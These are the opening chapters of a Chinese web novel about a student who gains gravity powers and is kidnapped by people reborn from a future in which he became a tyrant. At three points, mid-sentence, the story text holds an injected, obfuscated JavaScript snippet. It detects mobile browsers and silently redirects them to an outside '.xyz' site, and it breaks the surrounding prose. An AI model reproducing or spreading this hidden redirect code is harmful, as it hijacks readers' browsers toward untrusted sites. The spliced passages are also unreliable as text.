《我真不是暴君啊》 1. 不靠谱系统 窒息的感觉。 一团毛茸茸的暖意捂住了胸口，越来越热，越来越沉，让人仿佛置身于高温桑拿之中，热得出了一身汗…… 白旭临迷迷糊糊睁开眼睛，愣愣地朝身上看去。一只黑猫正趴在他胸口上，见他醒来了，便跳下床去，歪头看着他。 白旭临还没完全清醒过来。他看看一旁悠闲舔爪子的猫，又看看房间里紧闭的窗户和大门，最后又看看闹钟，才五点半不到。 窗外太阳已经升起，阳光透过窗纱变得柔和，从窗帘缝隙里照进房内。屋顶上传来“骨咕估”的鸟叫声，大街上传来陆陆续续的车辆和行人的声音，喧嚣而繁华，美好的一天即将开始。 白旭临双眼朦胧，再次看看闹钟，确认了时间，然后把脑袋陷进枕头里，喃喃自语：“嗯，我一定是还没睡醒。” 房间里怎么可能突然出现一只猫呢？他真是学习压力太大，眼花了。 于是白旭临重新钻进被窝，一把拉过被子盖住头，准备重回梦乡。 “笨崽，你没看错！我就是一只猫！” 这猫却突然口吐人言，直接跳上床给白旭临来了一拳。 白旭临猛然睁开眼睛，一下掀开被子弹射而起站立在床上，枕头被踹飞两里地，整个人顿时清醒。他看到黑猫不耐烦地甩着尾巴，尾尖一下下拍在地板上。 他倒不是惊恐于被一只猫给揍了，刚刚的拳头其实并不重。但是…… “猫怎么会说话？” 黑猫盘起尾巴，头矜贵地扬起：“我的小主人，您实在是太不冷静了，和我预想的相差很大。” 白旭临没听太懂，他缓缓后退，后背抵住墙壁才稍稍安心。他深吸一口气，强行平静心情。 他抬眼望去，那只猫抖了抖毛，飘下来的毛在窗外初升的太阳照耀下清晰可见，但还未落地，就化作灰烬消失不见。 黑猫又歪头看着他，暗红色的瞳孔诡异地闪着红光，一瞬间又消失不见。 白旭临皱眉：“你是什么？为什么出现在我房间里？” “猫，诡异，恶魔，诡变体，怎么称呼都可以。不过，要是让我正式介绍自己的话。” 黑猫骄傲地挺起胸膛：“我是您的指引人，守护者，衷心的追随者，负责培养您成为最强大的异能者。当然，也负责保护您的人身安全。” 它一跃而上，再次跳到床上，趴在白旭临脚边：“您不用过于担忧。只有您能听懂我的语言，其他人类是听不懂的。” 白旭临犹豫地伸出手，好像想在黑猫的脑袋上摸一下，手停在半空中又犹疑着缩回。 黑猫主动走上前，拱了拱他的手心，与正常的猫咪没有什么区别，但白旭临知道它没这么简单。 “好吧。”白旭临盘腿坐下，拎起猫把它放在对面，“我不太听得懂你说的话，你好好讲讲。” “不久之后，诡异——一种可怕的生物，就会来到这个世界。而您，我的小主人，将在系统的帮助下迅速成长，成为卓越的异能者。”黑猫兴奋地摇着尾巴，“您是天选之人，势必要成为最强的人类，凌驾于这个世界所有的人类和诡异之上！” “现在，请您闭上眼睛，您很快就会看到脑海中的系统。” 白旭临闭上眼睛，屏息凝神感受。 “……” 他睁开眼睛，语气平和：“什么都没有。” “不可能！”黑猫像被踩到尾巴一样跳起来，“我们统计过了，基本都是这个时间点！” 我们？ 白旭临面色古怪，刚要张嘴询问，就听见脑海中传来“叮”的一声机械音。 【正在载入……载入完成】 【A0049系统已与宿主绑定】 【此为救世系统，宿主可通过期望值解锁马甲。期待您未来的表现~】 脑海中，一本散发着金色光芒的书徐徐展开。 白旭临还没看清楚上面的字，一条消息跳出来。 【是否接受新手礼包？】 “你看到新手礼包了吗？那个是你的专属异能。”黑猫绕着白旭临走，尾巴欢快地摇来摇去，不停地蹭他的小腿。 白旭临看了猫一眼，注意力再次回到这本“书”上。 【接受】 新手礼包缓缓打开，一行文字显现出来。 【b级异能·引力操控】 一瞬间，陌生而温暖的力量涌入白旭临的身体，他不由地睁大了眼睛，静心感受这股能量。 白旭临张开五指又合上，反复多次后，将掌心对准了黑猫。 引力发动！ 第一次使用能力，掌握得不是很好。黑猫仿佛被一双无形的大手操控住，直愣愣朝着白旭临砸过来，砸的连人带猫从床上滚倒在地上。 黑猫立刻跳起来，咪咪喵喵地远离白旭临，躲在椅子下面。 “笨崽，你干嘛！”黑猫没好气地说，“小心一点嘛。喵喵大人很金贵的，摔坏了你就见不到我了。” 白旭临摸着脑袋从地上爬起：“喵大人，有人说过你很重吗？” “……！” 黑猫气得背上的毛都炸起来，“嘭”的一声突然消失不见。 白旭临面色如常，拍拍裤子坐回床上。他镇定的很快，迅速接受了眼前诡异的一切，甚至抽空去上了个厕所。 那只猫不见了也好，来历不明，行踪诡异，没法让人相信。 “书”哗啦啦无风自动，白旭临随意瞄了一眼。 【宿主：白旭临 性别：未知？？？】 ……？ 白旭临盯着这一行看了许久，才继续看下一行字。 【智力：7（您的智商在人类平均水平之上） 抗力：9（您的抵抗性真不错，不管是身体层面还是精神层面！） 耐力：5（对于您而言，这样的耐力太差啦，要勤于运动哦~） 魅力：10（太完美了！您会有许多追随者！）】 白旭临看了又看，嘴角抽搐，不由得开始怀疑系统内容的合理性。 他一个平平无奇的高三生，哪里来的追随者？他在学校几乎不社交，朋友都没几个，更别说追随者了。 他接着往下看。 【异能：引力操控（b级） 空间瞬移（a级） 领域覆盖（a级）】 白旭临皱起眉头，引力操控是新手礼包送的，后面这两个异能是哪来的？ 空间瞬移……刚刚那只猫？ “咳。”白旭临清了清嗓子，“那个谁，你在吗？” 房间里一片安静，无人回应。 “……喵大人，你在吗？” 黑猫“嘭”的一声凭空出现，尾尖不停敲打地板，没好气地说：“我的小主人，有何贵干？” 白旭临指着虚空里的那本“书”：“你看得到吗？还有，你和系统是什么关系？” “当然看得到。系统是您的力量源泉，而我因系统而生，作为辅助您使用系统的存在。因此我们力量同源，我是您忠诚的追随者。” 白旭临顿了一下，对这只猫的最后一句话暂时存疑。 不料这一丝迟疑都立刻被黑猫捕捉到：“您在怀疑？” 刚刚还略有愠色的黑猫不知被戳中了哪点，莫名心情大好：“不错，很好的品质，不亏是我们家小主人。只不过，您需要控制一下您脸上的表情，实在是太容易让人看出来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345114|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白旭临：“……嗯？我没什么表情啊？” 黑猫伸了个懒腰，不紧不慢地说道：“从普通人类的角度来看，确实如此。不过从异能者和诡异的角度来看，就不一定了。” 它的尾尖指了指浮在虚空的那本“书”：“我的能力您都可以使用。不过我建议，在您熟练掌握引力之前，先不要使用空间异能，这样很容易被其他人看出端倪。” “领域覆盖您倒是可以尝试一下。” 白旭临端正姿势，摆出一副虚心请教的样子。 黑猫拱了拱床上的被子，弄出一个它觉得会舒适的形状后，便窝在了里面。 “首先，静下心来去感受，像您看系统那样，去看这个世界的另外一层，这个步骤叫做‘开眼’。一旦开启后，您的视觉会发生变化，后面其实基本上就不需要我再教了，因为这对您而言很简单，是一种本能……” 白旭临没去听后面的废话。他尝试了一下，立刻摸索到“开眼”的启动方式。 ……现在他知道为什么黑猫刚刚说，要控制一下“表情”了。 仿佛进入了另一个图层，所有的物品都褪去了色彩，世界变成了灰色，只有物体表面覆盖着点点猩红色。他低头看向自己的双手，自己身上不断冒出红点点，他本能地感知到这是名为【好奇】的情绪。 在开眼的状态下，所有生物的状态一览无余，不论是情绪，异能使用情况还是身体状况。 他看向黑猫，床上的猫型生物表面均匀覆盖着一层淡红色，犹如整片模糊的水汽。对方的气息被收敛了。 白旭临学着黑猫收敛气息的方式，将自身周围所有的红点都吸收，牢牢固定在身体表面。 “很好，您掌握得很快。”黑猫赞许地点点头，“虽然很少有异能者拥有类似领域覆盖的异能，但以防万一，您学会收敛气息是最保险的。” 白旭临侧头，意识散发出去，视线竟然绕了房间一圈，甚至能穿透墙壁看见隔壁厕所。 “哦？”黑猫饶有兴趣地摇着尾巴，“无师自通，不亏是您。” “异能多练练，用不了多久，您就能彻底掌握引力，这可是上限极高的异能！”黑猫舔着爪子，“接下来，您就可以抽取马甲了。” 白旭临把目光转回到系统“书本”上。 【每10点期望值抽一次卡。目前期望值：20】 “期望值？”白旭临摩挲着下巴思考。 他伸出手指，虚空点了一下。 “书”中的转盘开始旋转，白旭临连抽两次，抽出两张卡。 【进阶卡*2】 【很遗憾，您此次并未抽中角色卡】 “咦？”黑猫嘟嘟囔囔，“这么非酋的嘛，确实很特殊……” 白旭临没有看进阶卡，反而转身问道：“期望值是什么？” 黑猫立刻收起嘟囔，摆出一副人性化的热情模样，像极了客服：“就是将他人对您的期望量化为具体数值。您的初始期望值里，也有一部分是我作出的贡献哦～” “……” 白旭临垂下眼眸。 “那……为什么是我？” 黑猫没反应过来：“什么？” “……为什么系统选中了我？” 他一个平平无奇的普通学生，怎么会摊上这种事情。怎么看都没有救世的潜质吧？ “系统当然是在一定范围内随机选取的啦～”黑猫语调欢快，“十六到二十五岁，身心健康，独自居住，社交少的年轻人。聪慧但不自负，重义但不硬抗，善于跑路。有异能天赋，有点中二，是个戏精。” 白旭临：……不对，这明明是咸鱼人设。 这个系统，还有这只猫，怎么看都不靠谱啊！ 2. 绑架 白旭临揉了揉太阳穴，打算直接洗漱。 虽然现在就去上学还很早，但是早上离谱的事件搞的他毫无睡意。 他打开厕所门，黑猫咪咪喵喵地把头凑过来要挤进去。 “出去。”白旭临弯下腰，一把把猫抱起来，“我刷个牙你进来做什么？” 他把这只猪咪往外一丢，立刻反手关门。 刚一回头，就发现黑猫蹲在洗手台上舔爪子。 白旭临捂住头。他居然忘了这只猫会瞬移，还会透视。 “崽，你唉声叹气干什么？”黑猫挺起胸脯，“作为一个称职的守护者，时刻跟随在你身旁是我的基本职责。” “你是不是忘了我还要上学？我不可能带着你。”白旭临指着门口，“你现在就离开我家——不，给我离开这栋楼。我需要私人空间消化信息。” “……咪。”黑猫试图撒娇蒙混过关。 白旭临面无表情：“出去。” 他无法忍受有个不明生物无时无刻盯着他。 在他还不信任对方的前提下，这种“守护”和监视没什么两样。 黑猫磨磨蹭蹭，不情不愿瞬移走了。 白旭临进入“开眼”状态，观察家中一圈，确认没发现奇怪的踪迹后，退出状态松了口气。 他整理好书包下了楼，打算在路边小摊上随便买点早餐。 什么系统，异能之类的，通通被他抛在脑后。除去这些，他也只不过是个备战高考的走读生罢了。 白旭临刚走出大楼门口，发现天空暗了下来。不久前还明朗的阳光忽然暗淡，铅色云层在天空蔓延，沉甸甸地压在城市上空，空气都近乎凝滞。 ——要变天了。 不远处，外卖小哥骑着车慢速开过，制服后背渗出一片深色的汗渍。他开着车“咣当”撞倒了小区便利店门口的塑料凳，在沉闷的空气中显得极为刺耳。那位带着面罩和头盔的小哥略微减慢车速，停下车回头看了一眼，与白旭临的目光隔空接触。 然后他回过头，不管不顾地离开了，骑着车扬长而去，好像只是为了炫一下自己稀烂的车技。 白旭临眼神古怪，看看那位骑手并不熟悉的背影，他们大约不认识。 ……奇怪的人。 便利店老板连忙从店里赶出来，对着小哥快速离去的身影用方言破口大骂。 “娘个撇，眼乌珠冇生咯物事！” 老板气急败坏，骂了一句还不够，扫视一圈发现白旭临。 “小兔崽子，看什么看！”老板凶神恶煞，张口还要骂，一大串优美的方言从嘴里倾泻而出。 白旭临脚步顿了顿，转身更换去学校的路线。他住在小区十几年，深知老板脾气不好，他可不想因为只是路过而找骂。 他思绪发散地想，怎么会有人这样做生意还不倒闭。 天上的云乌压压地沉下来，空气愈发沉闷，感觉马上就会下雨。白旭临走进一条偏僻的小巷，抄近路走，反手去摸装在书包旁边的雨伞。 他还没摸到伞，却感觉到身后有一阵微风拂过脸庞，若有若无，转瞬又消失不见。 毫无预兆，后颈的汗毛突然竖了起来，凉意顺着脊椎一寸寸在体内炸开。白旭临想都没想，猛然抽出雨伞往身后一砸，拼命朝前方的巷口跑去。 脑海中警报轰鸣，白旭临甚至没去思考发生了什么。他大喊：“救——！” “滋——！” 他根本没跑几步，后颈仿佛有人捅入滚烫的铁丝。剧痛瞬间炸开，电流在血管里乱窜。他猛地抽搐起来，牙齿咬到舌头，铁锈味在嘴里蔓延。 雨伞脱手飞出，不知飞到哪里了。白旭临的身躯不受控制瘫软下去，被人及时拉住。他拼命想睁开眼睛，但眼睫毛都不受控制地颤抖。 白旭临闭着眼，自动进入“开眼”状态。信息流涌入他混乱的大脑，他“看见”有个蒙面男子被他之前的雨伞砸中，正捂着嘴从地上爬起来；另一个他不用“看”都能感觉到，这人贴在他身后，手架在他腋下拉着他。那个人手心都湿透了，冰凉的汗液透过衣服，黏黏糊糊的。 白旭临对“看到”的景象愣了两秒，随即反应过来。在紧急情况下，“领域覆盖”异能被动触发了。 他抽搐了一下手指，地面上的雨伞突然自动飞了起来，在蒙面男子惊恐的目光中狠狠一砸。 “卧槽！” 架着他的绑匪低声咒骂，被砸得一个踉跄松开了手。白旭临身体不由自主地滑落，又被自己的引力异能撑住了。 该死，异能操控地根本就不熟练！ 他摇晃着身体，胳膊软绵绵耷拉在身旁没有力气。白旭临咬咬牙，集中精神对着冲他而来的蒙面绑匪调动体内能量。 引力发动！ 绑匪猛然飞了出去，仿佛被一辆看不见的大卡车高速撞飞，狠狠撞在巷口，倒在地上不断呻吟。 白旭临眼前一黑，一口气堵在胸口上不来。刚刚的攻击用力过猛，他终于受不住，瘫倒在地。沙哑的声音卡在喉头，他拼命想蹬腿，但只能眼睁睁看着一双沾满灰尘的运动鞋快步靠近，紧接着头上被钝器重重一击。 天旋地转，脑袋里炸开轰鸣，眼前的世界猛地倾斜，天空把大地从视野里挤走。白旭临重重倒地，思绪被黑暗吞噬之前，他迷迷糊糊地想：“那只猫说得对，我的异能是得好好练……” ** 盛子安还保持着砸人脑袋的姿势，眼神惊恐看着早已昏厥过去的白旭临。明明他是打人的绑匪，手却抑止不住的颤抖。 巷口驶来一辆破烂的五菱面包车，车上的同伴连忙下车，一边拉起还在呻吟的蒙面同伴，一边低声骂道：“你这一身肌肉是白长的吗？盛哥都没倒下，你倒是被打成这样。” “不，不是。”蒙面绑匪语气惊恐，“白旭临他，已经觉醒了！” 同伴脸色突变，看向背着白旭临的盛子安，在对方的眼神中确认了什么，表情一点点变得绝望。 盛子安深吸一口气，把背上的人送进车里：“先别讲话，马上走。” 几人迅速上车。面包车摇摇晃晃地开走，驶出小区后混入了道路主干道，隐藏在车群之中毫不起眼。 “轰隆——！” 闪电撕裂天际，一瞬间照亮全车人惨白的面孔。一滴雨砸在车上，紧随着是铺天盖地的雨。暴雨终于落下，整座城市顿时笼罩在雨幕之中，这场早晨的雨让空气变得更加压抑。 面包车在路上疾驰，开往城市边缘的郊区。暴雨几乎到了雨刮失去作用的地步，如瀑布般顺着车窗倾泻。车轮刺啦压过水坑，溅起阵阵水花。 雨声和引擎声混杂在一起轰隆作响，车内却无一人说话，沉默得令人窒息。 坐在副驾上的眼镜男率先打破沉默：“巷子里的监控我都处理好了，大家不用担心。” 他回身看了看后座，眼神落到白旭临身上的那一刻仿佛被开水烫到，连忙又回过身，假装在操作电脑。 盛子安抿了抿唇：“嗯，好。” 白旭临已经被五花大绑起来，头上盖着黑色头套，昏迷不醒。盛子安眼神飘忽，不知是自言自语还是在对车里的同伴讲话。 “其实绑人的时机很不好，我总感觉心里发虚……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345115|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>同伴从白旭临身上摸出手机，伪装成学生的口吻给学校老师请假，一边码字一边反驳：“盛哥别乱想了，老天赐予我们重生的机会，不就是在指引我们干掉白旭临吗？” 蒙面壮汉一把拉下头罩：“说得好，所以谁来动手？” 他的话无人回应。几人相互对视，面露惧意，都不敢应下来。 面包车一路疾驰，很快开到郊区，在一处废弃的工厂外停下。 几人利落下车，七手八脚要把白旭临搞进去。 “谁把他背进去？” 接应的同伴用胳膊肘顶了顶壮汉：“你来，你力气最大。” 壮汉把头摇得跟拨浪鼓似的：“我不敢。” “你都不敢碰他，居然还想杀了他？”眼镜男披着雨衣说道，手里还紧紧攥着电脑，生怕淋到水。 “那你来啊！” 几人互相推诿，都不想碰人。盛子安叹气：“我来吧。” 他背起白旭临，同伴连忙帮忙撑伞。 一众人摸进工厂，没有开灯。最后一个进去的在门口张望了一下，沉默着锁好门跟上大部队。 废弃工厂的铁皮屋顶被暴雨敲打着，发出空洞的回音。几人脚上沾满泥水，浑身透着水汽走上二楼。楼上，一盏白炽灯孤零零地亮着，昏黄的光晕在潮湿的空气里显得格外浑浊。 二楼还有几个人，悉悉索索轻声低语。有人回头，居然是白旭临早上见到的外卖小哥：“盛哥！你们回来了。” 盛子安把白旭临放到椅子上，眼神示意几人去把他捆好。 在场的一共十几个人，男女老少，来自社会各行各业，全部身着黑衣。有的是商人，有的是医生，有的是工人，人群里甚至有学生。 盛子安环视一周，眉间蹙起：“都把面罩带上。你们就这么不怕暴露吗？” 他显然是这帮人的领头人物。所有人都重新戴上黑色头罩或面罩，有人忍不住出声：“那个就是暴君……” “准确的说，是还未成长起来的暴君。” 盛子安面色严肃：“但很可惜，即使我们已经提前行动，远在诡异大规模爆发前找到了他，他还是早就觉醒了异能。” 人群紧张起来，不断有人低语。一个带着鸭舌帽的成年男子举手示意：“有没有可能，是我们的这次行动刺激了暴君提前觉醒？” “有这个可能性。”盛子安揉着太阳穴，“但我们大部分人都是因为接触诡异才觉醒的异能。现在诡异零星出没过于少见，我们之中有谁觉醒了吗？” 寥寥几人举手。 盛子安紧蹙的眉头略微松动：“比预想的要多了。但为了防止刺激暴君的异能，我们只能用人造武器杀他。那么，谁愿意动手？” 壮汉男一把拉掉白旭临的头套，所有人的目光都钉死在了他脸上，眼神复杂。 “呕……”马尾辫女孩突然反胃干呕，在其他人看向她时连忙捂住嘴摆手，“不好意思，我ptsd犯了……” 没有人出声指责她。相反，大部分人都脸色苍白，想起了不妙的回忆。 人群中的鸭舌帽男清清嗓子，走到盛子安身旁：“各位，我们都因为上一世被暴君残忍杀害，如今又重活一世而聚集到一起。暴君今日不死，未来的世界又会和上一世那样沦为地狱。现在我们提前杀了他，我们就是拯救世界的英雄！” 他“啪”的一声，把一把枪拍在桌上：“我们都是在末世里滚打摸爬出来的，都不怕杀人。不克服恐惧，就对不起这次重生的机会。我这里还有好几把枪，那么……” 他眼里闪过狠色：“谁要和我一起，杀了他。” 3. 解救人质 人群一阵骚动，窃窃私语。 盛子安率先开口：“我要参与。” “我对拯救世界并没有什么兴趣，但是我做不到冷静面对曾经害死我的人。”他攥紧拳头，“我们有当中有多少人，是被暴君虐杀而死的？又有多少人，是因为暴君家破人亡的？” “等暴君成长起来，就凭我们的异能，怎么可能打得过他？趁他现在还弱，就是最好的动手时机！” 他眼神悲愤，双眼灼灼，目光缓缓扫过房间里每一个人。没人顶得住，一个个都低下头，不再交头接耳，房间里只听到几人略微急促的呼吸声。 “算我一个。”外卖小哥毅然站出来，走到盛子安身旁。 “好 ，我这里一共四把枪。”鸭舌帽男把自己的包抖了抖，将武器全部放在桌上，“谁还要来？” 出乎意料，居然是刚刚干呕的马尾辫女孩：“我。” 不知是鸭舌帽男还是盛子安的话触动了她，在这一刻，她终于迈出了整个行动最关键的一步。 “拿枪。”鸭舌帽男示意道，“都是消音的，子弹装好了，款式也都是末世通用款，你们都会用吧。” 盛子安等人点头。 刚刚还害怕的女孩拿到枪，反而冷静下来。她拇指熟练地拨开保险，食指轻搭在扳机护圈外，将枪对准中间。 消音器的螺纹已经旋紧，几人的枪管微微前倾，在白炽灯照耀下泛着哑光的黑色。 盛子安四人分散开来围住白旭临，屏气凝神瞄准。其余人纷纷退到一边，紧张注视着。已经觉醒异能的几人默默调动能量，时刻防范着。 眼镜男喃喃自语：“千万别出差错……” “同时开枪。”盛子安下令，“准备好，3，2，1——” “嗤。” 短促的闷响，枪身一震。消音器前端冒出灰色的烟。 ……但这缕烟并没有如常消散。 盛子安瞳孔猛然一缩，在末世生死中练出来的直觉让他下意识松开枪缩手。 子弹悬在空中，不停地颤抖，被庞大的引力硬生生捏碎。四只枪管开始自动拧转，仿佛被看不见的手拧开，泛起扭曲的波浪，然后一点点分崩离析，碎为废品。 巨大的压力以白旭临为中心，一寸寸蔓延开来，整座屋子都在摇晃。所有重生者都感受到恐怖的压迫感，身上仿佛背着千钧重物，骨骼发出阵阵令人牙痛的咯咯声。少数觉醒的异能者们都动弹不得，熟悉的恐惧感涌上心头。 “暴……”鸭舌帽男嘴唇蠕动，却发不出声音。嘴上一股热辣辣的感觉，他手一伸，鼻血不知道什么时候流了下来。 马尾辫女孩眼神绝望：“完了，我们完了……” 被暴君支配的回忆同时在重生者们脑海里翻滚，有人已经开始颤抖。他们看着坐在中央的白旭临睁开眼睛，神色冷淡，那酷似暴君的脸居高临下俯视他们。 手腕脚腕上的绳索顷刻间断裂。白旭临缓缓站起来，慢慢活动了手脚，长舒了一口气坐回椅子上。 头顶的白炽灯还在微微摇晃。他抬头用手指隔空点了一下，白炽灯马上停止晃动，安静如初。 异能掌握得变熟练了呢。 白旭临看了一圈屋内的人，微笑起来：“我真是听了一场大戏啊。” “听你们的意思，你们都是来自未来的重生者？”白旭临挑眉，“重生就为了跑过来杀我？” 没人敢回应，全部低头不敢看他。 “诶，你不就是早上那个外卖骑手？” 外卖小哥头缩成鸵鸟，恐惧让他没去思考自己早晨全副武装是怎么被认出来的，只能心里暗自祈祷自己的下场不要和这支枪一样。 索性白旭临没纠结这个。 “你。” 白旭临指着盛子安：“就是你把我打晕的吧？你来和我讲讲。” 盛子安的冷汗“唰”地从脸上流下。他硬着头皮抬头，强迫自己面对那张梦魇般的脸：“您……您想了解什么？” “关于未来，关于暴君。你知道的一切。” 盛子安用手背擦了一下从额头不断渗出的汗，脑海中千万思绪不断翻滚，最后决定长话短说：“不久后，世界上会爆发大规模诡异，觉醒的异能者们与之战斗。您异军突起，率领诡异攻击人类，被世人称为暴君……” 他声音越来越低，因为他看到白旭临的微笑渐渐淡去。 白旭临皱着眉，刚要问话，被电话铃声打断。 房间里没人敢说话，屋外的大雨显得这铃声更加刺耳。盛子安苍白着脸挤出笑容：“……是我的电话。” 白旭临手一抬，震动着的手机飞进他手里。昏暗的灯光下，屏幕上亮着“庄”一个字。 他下巴扬起，示意盛子安接电话。 盛子安哆嗦着拿过手机，深吸几口气强行镇定心神，接通后开了免提。 他的声线迅速稳定下来，听不出异常：“老庄？” 电话那头传来一阵狂风咆哮声，伴随着大雨噼啪声和引擎轰鸣声，打电话的人似乎坐在高速奔驰的摩托上。 那人的声音似乎都被风拉长，被雨水打得破碎，听不出原声线。 “老盛啊，一大群警车朝着郊区开过去了，你们是不是在那边？” 重生者们一阵骚动，纷纷交换眼色却又不敢直接逃跑。盛子安脸色一凛，下意识看向眼镜男。眼镜男还大张着嘴，被鸭舌帽男一瞪才回过神来。 他匆忙去翻电脑，因为慌张眼镜都歪在鼻梁上：“盛哥，还有六百米，他们就要来了。” 手机那边的人显然也听见了：“果然是你们这边。快点跑吧。” 那人似乎也很匆忙，说完立刻挂断了电话。杂乱狂暴的引擎轰鸣声消失在屋内，只剩下雨水还在敲打屋顶的声音。 盛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345116|183485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子安瞥了眼白旭临，见他神色平常，脑中思绪飞速运转。他再次挤出笑容：“今天的事都是一场误会，要不……咱们先都撤离了再说吧？” 所有人都急切望向白旭临，不安的情绪在屋内蔓延。 “误会？” 白旭临毫不留情讥讽道：“是你们绑架并计划谋杀我，我为什么要跑？” 盛子安绞尽脑汁：“你有异能，警察不会相信是你被绑架。再说要是我们被抓，我们把未来的事情告诉官方，你也不会好受的。” “你在威胁我？” 白旭临眯起眼睛冷笑。盛子安和鸭舌帽男对视一眼，都从对方眼里看到了恐惧。 白旭临指着眼镜男：“电脑在这，警察查的出巷子里的监控。”又指向鸭舌帽男：“枪支来源不明，我想警察会很乐意审问你。”又指着盛子安：“还有你，电击我，打晕我，武器和伤口都是对的上的。我想你也应该不会把电击的武器丢在半路吧。” 他站起身来，居高立下扫视整个屋子的人：“你们当中也藏有异能者，我可不会单单因为有异能就被官方针对。反而是你们，有多少人会因为这次绑架被抓？到时候你们就过不上如今普通安稳的生活了，你们当中很多人都是要上班上学的吧？你们也都有亲朋好友吧？” 几公里外，警笛声穿过厚重的雨幕，清晰可闻。一屋子的人都惴惴不安，被引力压着动弹不得，却无一人痛哭流涕想要求饶逃跑。 从末世里厮杀出来的没有善茬，他们的三观已经不能用现在的标准来衡量。 能量在眼眸中聚集，另一层世界无声无息打开，漫天的灰色和红点取代了现实的线条。白旭临的视线穿透过工厂墙壁，视野中已经能看见有车辆驶来，警笛声愈发清晰。 他望见训练有素的武装人员围住了这座工厂，领头的人拿起喇叭大喊，浑厚有力的声音盖过了嘈杂的雨声：“里面的人听着，你们已经被警方包围了！立即释放人质，放下武器，双手举高走出大门！” 白旭临微笑起来。他“看见”已经有专业人员举着枪靠近工厂，只可惜工厂二楼被后天人为安装了厚重的窗帘，不然此刻狙击手枪支的红点就会立刻精准瞄向他们的胸膛。 “好哇。”白旭临心情愉悦，“你们现在，全部排好队，把手抱在脑袋后面，往那个楼梯慢慢走下去。” 盛子安眼神安抚一众同伴，自觉领头排在了第一个。 警察继续在外面喊：“再说一遍！白旭临，你的行为已经涉嫌绑架和危害公共安全，负隅顽抗只会加重刑罚！” “……？” 白旭临的笑容顿时消失。人群中的眼镜男眼睛忍不住乱瞟，外卖小哥疑惑地哼了一声，被马尾辫女孩悄悄拉了一下袖子制止。 白旭临面无表情，转身看向盛子安：“我刚刚好像耳朵出现了毛病。” 盛子安：“……您好像没有听错。” 4. 诡调局 雨依旧在下，暗沉沉的雨幕里，警车的红□□光交替闪烁，警用手电不断晃过废弃工厂。警察们蓄势待发，每一滴雨砸落的声音都仿佛敲在紧绷的神经末梢。 工厂二楼一片沉寂，所有人都在小心翼翼地用余光观察白旭临的脸色。 白旭临闭上眼，脑中思绪转了又转。 不对，怎么他自己变成绑匪了？而且警察来的速度也快得令人难以置信…… 从起床开始到现在，才不到两个小时，他就已经经历了密室黑猫袭击，偶遭他人绑架，被警察误会等一系列离奇事件，惊心动魄得仿佛在做梦。 他轻声叹了口气，却吓得众人心脏提到嗓子眼，不敢发出声音。 白旭临幽幽睁开眼，仔细观察每个人身上流动的红点大小和轨迹，一一记下后，没什么表情地开口说道：“你们走吧。” “诶？……” 刚才还满脸沉重的众人都猛然抬起头，不敢相信自己听到的话。 “我说，你们走吧。”白旭临平静地重复道，“你们不是有异能者吗？应该能跑出去吧。” 盛子安还在沉默，鸭舌帽男倒是抢先发话：“为什么？” 怀疑和警惕的念头瞬间冒出。他的第一反应不是劫后余生的惊喜，而是觉得对方有诈。 盛子安等人同样紧盯着白旭临，仿佛要从他脸上看出什么阴谋诡计。 暴君不可能善心大发，这是所有重生者们的共识。他们从没见过有人仅仅是因为暴君心情好，就被放了一马。 一旦暴君放人，就说明有利可图，或者……找到了合适的虐杀方式来取乐。 骑手小哥等人互相使着眼色，都在同伴眼里看到了同样的隐晦的期待——也许幼年暴君还没有这么残暴。 白旭临面不改色：“虽然不知道是什么原因，但既然警方把我当作了绑架嫌疑人，我便脱不开身。再说，现场确实有我用异能制造的痕迹，警察估计也不会相信你们打不过我，还是要怀疑到我身上。” 很拙劣的借口……盛子安几乎是下意识地判断。 但此刻他们不走不行。白旭临有一点说的对，他们目前都是普通人，如果被抓，这辈子都可能被毁了，重生就毫无意义。 ……更别提复仇了。 盛子安挺直身板，回头问道：“谁有空间系或阴影系异能？” 马尾辫女孩哆嗦着举手：“……我，我有。” 她伸出手，一个成人半身大小的空间漩涡旋转着开启，散发着盈盈蓝光。 “这边通向两百米开外的荒郊树林，从那边走应该不会被警察发现。”马尾辫女孩低声道，“只是，我的异能才觉醒没多久，每次只能让一个人通过。” “你们自己决定去哪就行。” 白旭临目光一转，眼神锐利看向盛子安：“但是，你必须最后走。” 盛子安点点头，自觉腾出空间让其他人先走：“都快点行动吧，趁警察还没进来。” 鸭舌帽男第一个打头阵，他弯下腰缩着身体，挤进了那个有些狭窄的空间漩涡。空间漩涡荡开层层涟漪，吞噬了他的身影。 下一秒，漩涡里伸出一只手，比了个OK。 “看来那边没问题。”白旭临扫视一圈众人，“还愣着干什么？不想走就留下来陪我。” 